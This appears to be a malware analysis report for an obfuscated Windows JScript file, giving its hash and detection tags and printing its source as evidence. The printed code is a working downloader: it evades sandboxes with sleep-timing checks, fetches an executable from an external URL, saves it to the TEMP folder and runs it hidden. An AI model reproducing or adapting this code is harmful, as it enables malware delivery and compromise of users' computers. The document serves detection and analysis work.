20160328_1929c64366ae9e9742ae78a1072db458.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25640a87faa6911e21112d020622acbf3a4774264012a637929999d0e1e69ed96b5
Evidence
1var Vlddvc = false;
2var Sfxhtnv = "CreateObject";
3var Hxcrpvu = function Mltvym() {return WScript[Sfxhtnv]("WScript.Shell");}();
4var Tsowk = 123213;
5var Osnmlumqhb = "MSXML2.XMLHTTP";
6var Dqmbup = 2123213;
7var Rqrzkkso = 0;
8function Lvvhlr(Zesfu){Hxcrpvu["Run"](Zesfu, Rqrzkkso, Rqrzkkso);};
9function Dgaafcfov(){return Osnmlumqhb;};
10function Tkimylqctw(Zhfxpa, Yjxbvildlw){return Zhfxpa - Yjxbvildlw;};
11function Qcglz(){return Sfxhtnv;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Vlddvc = true;
15 @end
16@*/
17var Lrzvhfxkx = "";
18if (Vlddvc)
19{
20function Jnriq(){return 22;};
21var Wmzenlmz = 0; var Nnmdytc = 0;
22function Tovheyyy()
23{
24var Znvisknh = new this["Date"]();
25var Sasenolvea = Znvisknh["getUTCMilliseconds"]();
26WScript["Sleep"](Jnriq());
27var Znvisknh = new this["Date"]();
28var Zhwjklvq = Znvisknh["getUTCMilliseconds"]();
29WScript["Sleep"](Jnriq());
30var Znvisknh = new this["Date"]();
31var Hepafyer = Znvisknh["getUTCMilliseconds"]();
32var Wmzenlmz = "Tztvcapa";
33Wmzenlmz = Tkimylqctw(Zhwjklvq, Sasenolvea);
34var Nnmdytc = "Neonyrwq";
35Nnmdytc = Tkimylqctw(Hepafyer, Zhwjklvq);
36Lrzvhfxkx = "open";
37return Tkimylqctw(Wmzenlmz, Nnmdytc);
38}
39var Gbumvtcndz = false;
40var Qwaiit = false;
41for (var Jzevfkcpf = Rqrzkkso; Jzevfkcpf < Jnriq() * 1; Jzevfkcpf++){if (Tovheyyy() != Rqrzkkso){
42Gb …
49:6… bumvtcndz && Nkdqyozr() && Qwaiit){
50function Alyhino() {return Hxcrpvu["ExpandEnvironmentStrings"]("%TEMP%/") + "qQdscB4jVv.exe";};
51 Ogpzi = Dgaafcfov();
52 Obkjiyrs = WScript[Sfxhtnv](Ogpzi);
53 var Ltumhoic = 1;
54 while (Ltumhoic){
55try {
56Obkjiyrs[Lrzvhfxkx]("GET", "http://blackmountaintipis.com/mxn3aad", false);
57Obkjiyrs["send"]();
58Ybwggl = "Sleep";
59do {WScript[Ybwggl](Jnriq() * 11)} while (Obkjiyrs["readystate"] < 4 );
60Ltumhoic = Rqrzkkso;
61} catch(Drredthga){Ltumhoic = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Vcrrraclo(Nqtzmnrniz) {var Lbcicr = (1, 2, 3, 4, 5, Nqtzmnrniz); return Lbcicr;};
64Qdcmzetaf = WScript[Qcglz()]("ADODB.Stream");
65Ogpzi = Qdcmzetaf;
66Ogpzi[Lrzvhfxkx]();
67Ogpzi["type"] = Vcrrraclo(1);
68Ogpzi["write"](Obkjiyrs["ResponseBody"]);
69Qdcmzetaf["position"] = Vcrrraclo(Rqrzkkso);
70Ogpzi["SaveToFile"](Alyhino(), Vcrrraclo(2) );
71Qdcmzetaf["close"]();
72Lvvhlr(Alyhino());
73}
74}
75